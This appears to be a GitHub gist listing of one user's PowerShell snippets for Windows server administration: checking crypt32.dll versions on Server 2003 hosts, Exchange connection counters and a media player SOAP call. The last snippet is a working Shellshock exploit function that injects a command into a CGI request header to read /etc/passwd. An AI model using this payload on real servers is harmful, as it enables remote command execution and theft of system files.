Skip to content

Instantly share code, notes, and snippets.

View mendel129's full-sized avatar

mendel129

View GitHub Profile
@mendel129
mendel129 / test-fileversion
Last active December 24, 2015 13:59
Get a list of all server 2003, connect to them, and get the filversion of a specific dll, create a list and export it to a csv
#get a list from ad with all windows server 2003 and 2003 r2 machines
$list= get-ADComputer -Filter {OperatingSystem -Like "Windows Server*2003*"}
#intantiate an empty array
$hashlist=@{}
$admin=get-credential
#connect to each computer, get the file, and select it's version
foreach($computer in $list){
$answer = Get-WMIObject -Computer $computer.DNSHostName -credential $admin -Query "SELECT * FROM CIM_DataFile WHERE Drive ='C:' AND Path='\\windows\\system32\\' AND FileName='crypt32' AND Extension='dll'" | select Version
#create a hashlist
$hashlist[$computer]=$answer
@mendel129
mendel129 / get-casstatus
Last active December 24, 2015 13:59
get all connected exchange users from client access servers
$RPC =Get-Counter "\MSExchange RpcClientAccess\User Count" -computername "srv1"
$OWA =Get-Counter "\MSExchange OWA\Current Unique Users" -computername "srv1"
$POP = Get-Counter "\MSExchangePop3(1)\Connections Current" -ComputerName "srv1"
$IMAP = get-counter "\MSExchangeImap4(1)\Current Connections" -ComputerName "srv1"
$csa=New-Object PSObject -Property @{
Server = srv1"
"rpc" = $RPC.CounterSamples[0].CookedValue
"owa" = $OWA.CounterSamples[0].CookedValue
"pop" = $POP.CounterSamples[0].CookedValue
"imap" = $IMAP.CounterSamples[0].CookedValue
function play(){
$var = getstate
if($var -eq "Paused")
{
$play='<?xml version="1.0" encoding="utf-8"?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:Play xmlns:u="urn:av-openhome-org:service:Playlist:1" />
</s:Body>
function invoke-shellshock($server)
{
(invoke-webrequest -Uri "http://$server/cgi-bin/status" -Headers @{"custom"="() { ignored; };echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "} -Method post).rawcontent
#(invoke-webrequest -Uri "http://$server/cgi-bin/status" -Headers @{"custom"="() { ignored; };echo Content-Type: text/html; echo ; /bin/ls . "} -Method post).rawcontent
}